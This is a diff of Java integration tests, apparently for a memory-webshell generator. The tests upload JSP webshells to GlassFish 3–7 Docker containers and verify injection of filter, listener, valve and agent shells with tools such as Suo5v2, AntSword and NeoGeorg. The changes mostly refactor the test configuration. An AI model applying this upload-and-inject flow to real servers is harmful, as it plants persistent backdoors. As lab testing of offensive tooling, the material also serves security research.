int port = container.getMappedPort(8080);
String host = container.getHost();
String url = "http://" + host + ":" + port;
log.info("container started, app url is : {}", url);
return url;
}
public static String getUrlFromWebLogic(GenericContainer<?> container) {
int port = container.getMappedPort(7001);
String host = container.getHost();
String url = "http://" + host + ":" + port + "/app";
log.info("container started, app url is : {}", url);
return url;
}
public static String getUrlFromWAS(GenericContainer<?> container) {
int port = container.getMappedPort(9080);
String host = container.getHost();
String url = "http://" + host + ":" + port + "/app";
log.info("container started, app url is : {}", url);
return url;
}
} }
@@ -90,8 +90,11 @@ public class ShellAssertion {
@SneakyThrows @SneakyThrows
public static MemShellResult shellInjectIsOk(String url, String server, String serverVersion, String shellType, String shellTool, public static MemShellResult shellInjectIsOk(String url, String server, String serverVersion, String shellType, String shellTool,
int targetJdkVersion, Packers packer, int targetJdkVersion, Packers packer,
GenericContainer<?> appContainer, GenericContainer<?> pythonContainer) { GenericContainer<?> appContainer, GenericContainer<?> pythonContainer) {
if (ShellTool.Proxy.equals(shellTool)) {
return null;
}
Pair<String, String> urls = getUrls(url, shellType, shellTool, packer); Pair<String, String> urls = getUrls(url, shellType, shellTool, packer);
String shellUrl = urls.getLeft(); String shellUrl = urls.getLeft();
String urlPattern = urls.getRight(); String urlPattern = urls.getRight();
@@ -397,16 +400,16 @@ public class ShellAssertion {
public static void injectIsOk(String url, String shellType, String shellTool, String content, Packers packer, GenericContainer<?> container) { public static void injectIsOk(String url, String shellType, String shellTool, String content, Packers packer, GenericContainer<?> container) {
switch (packer) { switch (packer) {
case JSP, ClassLoaderJSP, DefineClassJSP -> { case JSP, ClassLoaderJSP, ClassLoaderJSPUnicode, DefineClassJSP, DefineClassJSPUnicode -> {
String uploadEntry = url + "/upload"; String uploadEntry = url + "/upload";
String filename = shellType + shellTool + packer + ".jsp"; String filename = shellType + shellTool + packer + ".jsp";
String shellUrl = url + "/" + filename; String shellUrl = url + "/" + filename;
VulTool.uploadJspFileToServer(uploadEntry, filename, content); VulTool.uploadJspFileToServer(uploadEntry, filename, content);
VulTool.urlIsOk(shellUrl); VulTool.urlIsOk(shellUrl);
} }
case JSPX -> { case JSPX, JSPXUnicode -> {
String uploadEntry = url + "/upload"; String uploadEntry = url + "/upload";
String filename = shellType + shellTool + ".jspx"; String filename = shellType + shellTool + packer + ".jspx";
String shellUrl = url + "/" + filename; String shellUrl = url + "/" + filename;
VulTool.uploadJspFileToServer(uploadEntry, filename, content); VulTool.uploadJspFileToServer(uploadEntry, filename, content);
VulTool.urlIsOk(shellUrl); VulTool.urlIsOk(shellUrl);
@@ -1,100 +1,59 @@
package com.reajason.javaweb.integration.memshell.glassfish; package com.reajason.javaweb.integration.memshell.glassfish;
import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes; import net.bytebuddy.jar.asm.Opcodes;
import org.apache.commons.lang3.tuple.Triple; import org.apache.commons.lang3.tuple.Triple;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.api.BeforeAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.junit.jupiter.params.provider.ValueSource;
import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network; import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.images.builder.ImageFromDockerfile;
import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers; import org.testcontainers.junit.jupiter.Testcontainers;
import java.time.Duration;
import java.util.List; import java.util.List;
import java.util.stream.Stream;
import static com.reajason.javaweb.integration.ContainerTool.*;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
import static org.hamcrest.MatcherAssert.assertThat;
/** /**
* @author ReaJason * @author ReaJason
* @since 2024/12/12 * @since 2024/12/12
*/ */
@Slf4j
@Testcontainers @Testcontainers
public class GlassFish3ContainerTest { public class GlassFish3ContainerTest extends AbstractContainerTest {
public static final String imageName = "reajason/glassfish:3.1.2.2-jdk6"; private static final ContainerTestConfig CONFIG = ContainerTestConfig.glassFish(
static Network network = Network.newNetwork(); "reajason/glassfish:3.1.2.2-jdk6",
"/usr/local/glassfish3/glassfish/domains/domain1/autodeploy/app.war")
.targetJdkVersion(Opcodes.V1_6)
.waitStrategy(Wait.forLogMessage(".*(deployed|done).*", 1))
.supportedShellTypes(List.of(
ShellType.FILTER,
ShellType.LISTENER,
ShellType.VALVE,
ShellType.AGENT_FILTER_CHAIN,
ShellType.CATALINA_AGENT_CONTEXT_VALVE
))
.testPackers(List.of(Packers.JSP))
.unSupportedCases(List.of(
Triple.of(ShellType.AGENT_FILTER_CHAIN, ShellTool.Suo5v2, Packers.AgentJar),
Triple.of(ShellType.CATALINA_AGENT_CONTEXT_VALVE, ShellTool.Suo5v2, Packers.AgentJar)
))
.probeShellTypes(List.of(
ShellType.FILTER,
ShellType.LISTENER,
ShellType.VALVE
))
.build();
static Network network = newNetwork();
@Container @Container
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile() public static final GenericContainer<?> python = buildPythonContainer(network);
.withDockerfile(neoGeorgDockerfile))
.withNetwork(network);
@Container @Container
public static final GenericContainer<?> container = new GenericContainer<>(imageName) public static final GenericContainer<?> container = buildContainer(CONFIG, network);
.withCopyToContainer(warFile, "/usr/local/glassfish3/glassfish/domains/domain1/autodeploy/app.war")
.withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(glassfishPid, "/fetch_pid.sh")
.withNetwork(network)
.withNetworkAliases("app")
.waitingFor(Wait.forLogMessage(".*(deployed|done).*", 1))
.withExposedPorts(8080);
@BeforeAll @Override
static void setup() { protected ContainerTestConfig getConfig() {
container.waitingFor(Wait.forHttp("/app")); return CONFIG;
}
static Stream<Arguments> casesProvider() {
String server = Server.GlassFish;
List<String> supportedShellTypes = List.of(
ShellType.FILTER,
ShellType.LISTENER,
ShellType.VALVE,
ShellType.AGENT_FILTER_CHAIN,
ShellType.CATALINA_AGENT_CONTEXT_VALVE
);
List<Packers> testPackers = List.of(Packers.JSP);
List<Triple<String, String, Packers>> unSupportedCases = List.of(
Triple.of(ShellType.AGENT_FILTER_CHAIN, ShellTool.Suo5v2, Packers.AgentJar), // request.inputStream is empty
Triple.of(ShellType.CATALINA_AGENT_CONTEXT_VALVE, ShellTool.Suo5v2, Packers.AgentJar) // request.inputStream is empty
);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, unSupportedCases);
}
@AfterAll
static void tearDown() {
String logs = container.getLogs();
log.info(logs);
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python);
}
@ParameterizedTest
@ValueSource(strings = {ShellType.FILTER,
ShellType.LISTENER,
ShellType.VALVE,})
void testProbeInject(String shellType) {
String url = getUrl(container);
ShellAssertion.testProbeInject(url, Server.GlassFish, shellType, Opcodes.V1_6);
} }
} }
@@ -1,93 +1,51 @@
package com.reajason.javaweb.integration.memshell.glassfish; package com.reajason.javaweb.integration.memshell.glassfish;
import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes; import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.api.BeforeAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.junit.jupiter.params.provider.ValueSource;
import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network; import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.images.builder.ImageFromDockerfile;
import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers; import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.List; import java.util.List;
import java.util.stream.Stream;
import static com.reajason.javaweb.integration.ContainerTool.*;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
import static org.hamcrest.MatcherAssert.assertThat;
/** /**
* @author ReaJason * @author ReaJason
* @since 2024/12/12 * @since 2024/12/12
*/ */
@Slf4j
@Testcontainers @Testcontainers
public class GlassFish4ContainerTest { public class GlassFish4ContainerTest extends AbstractContainerTest {
public static final String imageName = "reajason/glassfish:4.1.2-quick"; private static final ContainerTestConfig CONFIG = ContainerTestConfig.glassFish(
static Network network = Network.newNetwork(); "reajason/glassfish:4.1.2-quick",
"/usr/local/glassfish4/glassfish/domains/domain1/autodeploy/app.war")
.targetJdkVersion(Opcodes.V1_6)
.supportedShellTypes(List.of(
ShellType.FILTER,
ShellType.LISTENER,
ShellType.VALVE,
ShellType.AGENT_FILTER_CHAIN,
ShellType.CATALINA_AGENT_CONTEXT_VALVE
))
.testPackers(List.of(Packers.JSP))
.probeShellTypes(List.of(
ShellType.FILTER,
ShellType.LISTENER,
ShellType.VALVE
))
.build();
static Network network = newNetwork();
@Container @Container
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile() public static final GenericContainer<?> python = buildPythonContainer(network);
.withDockerfile(neoGeorgDockerfile))
.withNetwork(network);
@Container @Container
public static final GenericContainer<?> container = new GenericContainer<>(imageName) public static final GenericContainer<?> container = buildContainer(CONFIG, network);
.withCopyToContainer(warFile, "/usr/local/glassfish4/glassfish/domains/domain1/autodeploy/app.war")
.withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(glassfishPid, "/fetch_pid.sh")
.withNetwork(network)
.withNetworkAliases("app")
.waitingFor(Wait.forHttp("/app"))
.withExposedPorts(8080);
@BeforeAll @Override
static void setup() { protected ContainerTestConfig getConfig() {
container.waitingFor(Wait.forLogMessage(".*(deployed|done).*", 1)); return CONFIG;
}
static Stream<Arguments> casesProvider() {
String server = Server.GlassFish;
List<String> supportedShellTypes = List.of(
ShellType.FILTER,
ShellType.LISTENER,
ShellType.VALVE,
ShellType.AGENT_FILTER_CHAIN,
ShellType.CATALINA_AGENT_CONTEXT_VALVE
);
List<Packers> testPackers = List.of(Packers.JSP);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
}
@AfterAll
static void tearDown() {
String logs = container.getLogs();
log.info(logs);
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python);
}
@ParameterizedTest
@ValueSource(strings = {ShellType.FILTER,
ShellType.LISTENER,
ShellType.VALVE,})
void testProbeInject(String shellType) {
String url = getUrl(container);
ShellAssertion.testProbeInject(url, Server.GlassFish, shellType, Opcodes.V1_6);
} }
} }
@@ -1,93 +1,51 @@
package com.reajason.javaweb.integration.memshell.glassfish; package com.reajason.javaweb.integration.memshell.glassfish;
import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes; import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.api.BeforeAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.junit.jupiter.params.provider.ValueSource;
import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network; import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.images.builder.ImageFromDockerfile;
import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers; import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.List; import java.util.List;
import java.util.stream.Stream;
import static com.reajason.javaweb.integration.ContainerTool.*;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
import static org.hamcrest.MatcherAssert.assertThat;
/** /**
* @author ReaJason * @author ReaJason
* @since 2024/12/12 * @since 2024/12/12
*/ */
@Slf4j
@Testcontainers @Testcontainers
public class GlassFish501ContainerTest { public class GlassFish501ContainerTest extends AbstractContainerTest {
public static final String imageName = "reajason/glassfish:5.0.1"; private static final ContainerTestConfig CONFIG = ContainerTestConfig.glassFish(
static Network network = Network.newNetwork(); "reajason/glassfish:5.0.1",
"/usr/local/glassfish5/glassfish/domains/domain1/autodeploy/app.war")
.targetJdkVersion(Opcodes.V1_6)
.supportedShellTypes(List.of(
ShellType.FILTER,
ShellType.LISTENER,
ShellType.VALVE,
ShellType.AGENT_FILTER_CHAIN,
ShellType.CATALINA_AGENT_CONTEXT_VALVE
))
.testPackers(List.of(Packers.JSP))
.probeShellTypes(List.of(
ShellType.FILTER,
ShellType.LISTENER,
ShellType.VALVE
))
.build();
static Network network = newNetwork();
@Container @Container
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile() public static final GenericContainer<?> python = buildPythonContainer(network);
.withDockerfile(neoGeorgDockerfile))
.withNetwork(network);
@Container @Container
public static final GenericContainer<?> container = new GenericContainer<>(imageName) public static final GenericContainer<?> container = buildContainer(CONFIG, network);
.withCopyToContainer(warFile, "/usr/local/glassfish5/glassfish/domains/domain1/autodeploy/app.war")
.withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(glassfishPid, "/fetch_pid.sh")
.withNetwork(network)
.withNetworkAliases("app")
.waitingFor(Wait.forHttp("/app"))
.withExposedPorts(8080);
static Stream<Arguments> casesProvider() { @Override
String server = Server.GlassFish; protected ContainerTestConfig getConfig() {
List<String> supportedShellTypes = List.of( return CONFIG;
ShellType.FILTER,
ShellType.LISTENER,
ShellType.VALVE,
ShellType.AGENT_FILTER_CHAIN,
ShellType.CATALINA_AGENT_CONTEXT_VALVE
);
List<Packers> testPackers = List.of(Packers.JSP);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
}
@BeforeAll
static void setup() {
container.waitingFor(Wait.forLogMessage(".*(deployed|done).*", 1));
}
@AfterAll
static void tearDown() {
String logs = container.getLogs();
log.info(logs);
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python);
}
@ParameterizedTest
@ValueSource(strings = {ShellType.FILTER,
ShellType.LISTENER,
ShellType.VALVE,})
void testProbeInject(String shellType) {
String url = getUrl(container);
ShellAssertion.testProbeInject(url, Server.GlassFish, shellType, Opcodes.V1_6);
} }
} }
@@ -1,93 +1,51 @@
package com.reajason.javaweb.integration.memshell.glassfish; package com.reajason.javaweb.integration.memshell.glassfish;
import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes; import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.api.BeforeAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.junit.jupiter.params.provider.ValueSource;
import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network; import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.images.builder.ImageFromDockerfile;
import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers; import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.List; import java.util.List;
import java.util.stream.Stream;
import static com.reajason.javaweb.integration.ContainerTool.*;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
import static org.hamcrest.MatcherAssert.assertThat;
/** /**
* @author ReaJason * @author ReaJason
* @since 2024/12/12 * @since 2024/12/12
*/ */
@Slf4j
@Testcontainers @Testcontainers
public class GlassFish510ContainerTest { public class GlassFish510ContainerTest extends AbstractContainerTest {
public static final String imageName = "reajason/glassfish:5.1.0"; private static final ContainerTestConfig CONFIG = ContainerTestConfig.glassFish(
static Network network = Network.newNetwork(); "reajason/glassfish:5.1.0",
"/usr/local/glassfish5/glassfish/domains/domain1/autodeploy/app.war")
.targetJdkVersion(Opcodes.V1_6)
.supportedShellTypes(List.of(
ShellType.FILTER,
ShellType.LISTENER,
ShellType.VALVE,
ShellType.AGENT_FILTER_CHAIN,
ShellType.CATALINA_AGENT_CONTEXT_VALVE
))
.testPackers(List.of(Packers.JSP))
.probeShellTypes(List.of(
ShellType.FILTER,
ShellType.LISTENER,
ShellType.VALVE
))
.build();
static Network network = newNetwork();
@Container @Container
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile() public static final GenericContainer<?> python = buildPythonContainer(network);
.withDockerfile(neoGeorgDockerfile))
.withNetwork(network);
@Container @Container
public static final GenericContainer<?> container = new GenericContainer<>(imageName) public static final GenericContainer<?> container = buildContainer(CONFIG, network);
.withCopyToContainer(warFile, "/usr/local/glassfish5/glassfish/domains/domain1/autodeploy/app.war")
.withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(glassfishPid, "/fetch_pid.sh")
.withNetwork(network)
.withNetworkAliases("app")
.waitingFor(Wait.forHttp("/app"))
.withExposedPorts(8080);
static Stream<Arguments> casesProvider() { @Override
String server = Server.GlassFish; protected ContainerTestConfig getConfig() {
List<String> supportedShellTypes = List.of( return CONFIG;
ShellType.FILTER,
ShellType.LISTENER,
ShellType.VALVE,
ShellType.AGENT_FILTER_CHAIN,
ShellType.CATALINA_AGENT_CONTEXT_VALVE
);
List<Packers> testPackers = List.of(Packers.JSP);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
}
@BeforeAll
static void setup() {
container.waitingFor(Wait.forLogMessage(".*(deployed|done).*", 1));
}
@AfterAll
static void tearDown() {
String logs = container.getLogs();
log.info(logs);
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python);
}
@ParameterizedTest
@ValueSource(strings = {ShellType.FILTER,
ShellType.LISTENER,
ShellType.VALVE,})
void testProbeInject(String shellType) {
String url = getUrl(container);
ShellAssertion.testProbeInject(url, Server.GlassFish, shellType, Opcodes.V1_6);
} }
} }
@@ -1,92 +1,58 @@
package com.reajason.javaweb.integration.memshell.glassfish; package com.reajason.javaweb.integration.memshell.glassfish;
import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes; import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.api.BeforeAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.junit.jupiter.params.provider.ValueSource;
import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network; import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.images.builder.ImageFromDockerfile;
import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers; import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.List; import java.util.List;
import java.util.stream.Stream;
import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
/** /**
* @author ReaJason * @author ReaJason
* @since 2024/12/12 * @since 2024/12/12
*/ */
@Slf4j
@Testcontainers @Testcontainers
public class GlassFish6ContainerTest { public class GlassFish6ContainerTest extends AbstractContainerTest {
public static final String imageName = "reajason/glassfish:6.2.6-jdk11"; private static final ContainerTestConfig CONFIG = ContainerTestConfig.glassFish(
static Network network = Network.newNetwork(); "reajason/glassfish:6.2.6-jdk11",
"/usr/local/glassfish6/glassfish/domains/domain1/autodeploy/app.war")
.warFile(warJakartaFile)
.jakarta(true)
.targetJdkVersion(Opcodes.V11)
.assertLogs(false)
.supportedShellTypes(List.of(
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,
ShellType.JAKARTA_VALVE,
ShellType.AGENT_FILTER_CHAIN,
ShellType.CATALINA_AGENT_CONTEXT_VALVE
))
.unSupportedShellTools(List.of(ShellTool.AntSword))
.testPackers(List.of(Packers.JSP))
.probeShellTypes(List.of(
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,
ShellType.JAKARTA_VALVE
))
.build();
static Network network = newNetwork();
@Container @Container
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile() public static final GenericContainer<?> python = buildPythonContainer(network);
.withDockerfile(neoGeorgDockerfile))
.withNetwork(network);
@Container @Container
public static final GenericContainer<?> container = new GenericContainer<>(imageName) public static final GenericContainer<?> container = buildContainer(CONFIG, network);
.withCopyToContainer(warJakartaFile, "/usr/local/glassfish6/glassfish/domains/domain1/autodeploy/app.war")
.withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(glassfishPid, "/fetch_pid.sh")
.withNetwork(network)
.withNetworkAliases("app")
.waitingFor(Wait.forHttp("/app"))
.withExposedPorts(8080);
static Stream<Arguments> casesProvider() { @Override
String server = Server.GlassFish; protected ContainerTestConfig getConfig() {
List<String> supportedShellTypes = List.of( return CONFIG;
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,
ShellType.JAKARTA_VALVE,
ShellType.AGENT_FILTER_CHAIN,
ShellType.CATALINA_AGENT_CONTEXT_VALVE
);
List<Packers> testPackers = List.of(Packers.JSP);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword));
}
@BeforeAll
static void setup() {
container.waitingFor(Wait.forLogMessage(".*(deployed|done).*", 1));
}
@AfterAll
static void tearDown() {
String logs = container.getLogs();
log.info(logs);
// assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V11, packer, container, python);
}
@ParameterizedTest
@ValueSource(strings = {ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,
ShellType.JAKARTA_VALVE,})
void testProbeInject(String shellType) {
String url = getUrl(container);
ShellAssertion.testProbeInject(url, Server.GlassFish, shellType, Opcodes.V11);
} }
} }
@@ -1,94 +1,57 @@
package com.reajason.javaweb.integration.memshell.glassfish; package com.reajason.javaweb.integration.memshell.glassfish;
import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes; import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.api.BeforeAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.junit.jupiter.params.provider.ValueSource;
import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network; import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.images.builder.ImageFromDockerfile;
import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers; import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.List; import java.util.List;
import java.util.stream.Stream;
import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
import static org.hamcrest.MatcherAssert.assertThat;
/** /**
* @author ReaJason * @author ReaJason
* @since 2024/12/12 * @since 2024/12/12
*/ */
@Slf4j
@Testcontainers @Testcontainers
public class GlassFish7ContainerTest { public class GlassFish7ContainerTest extends AbstractContainerTest {
public static final String imageName = "reajason/glassfish:7.0.20-jdk17"; private static final ContainerTestConfig CONFIG = ContainerTestConfig.glassFish(
static Network network = Network.newNetwork(); "reajason/glassfish:7.0.20-jdk17",
"/usr/local/glassfish7/glassfish/domains/domain1/autodeploy/app.war")
.warFile(warJakartaFile)
.jakarta(true)
.targetJdkVersion(Opcodes.V17)
.supportedShellTypes(List.of(
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,
ShellType.JAKARTA_VALVE,
ShellType.AGENT_FILTER_CHAIN,
ShellType.CATALINA_AGENT_CONTEXT_VALVE
))
.unSupportedShellTools(List.of(ShellTool.AntSword))
.testPackers(List.of(Packers.JSP))
.probeShellTypes(List.of(
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,
ShellType.JAKARTA_VALVE
))
.build();
static Network network = newNetwork();
@Container @Container
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile() public static final GenericContainer<?> python = buildPythonContainer(network);
.withDockerfile(neoGeorgDockerfile))
.withNetwork(network);
@Container @Container
public static final GenericContainer<?> container = new GenericContainer<>(imageName) public static final GenericContainer<?> container = buildContainer(CONFIG, network);
.withCopyToContainer(warJakartaFile, "/usr/local/glassfish7/glassfish/domains/domain1/autodeploy/app.war")
.withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(glassfishPid, "/fetch_pid.sh")
.withNetwork(network)
.withNetworkAliases("app")
.waitingFor(Wait.forLogMessage(".*JMXService.*", 1))
.withExposedPorts(8080);
static Stream<Arguments> casesProvider() { @Override
String server = Server.GlassFish; protected ContainerTestConfig getConfig() {
List<String> supportedShellTypes = List.of( return CONFIG;
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,
ShellType.JAKARTA_VALVE,
ShellType.AGENT_FILTER_CHAIN,
ShellType.CATALINA_AGENT_CONTEXT_VALVE
);
List<Packers> testPackers = List.of(Packers.JSP);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword));
}
@BeforeAll
static void setup() {
container.waitingFor(Wait.forHttp("/app/test"));
}
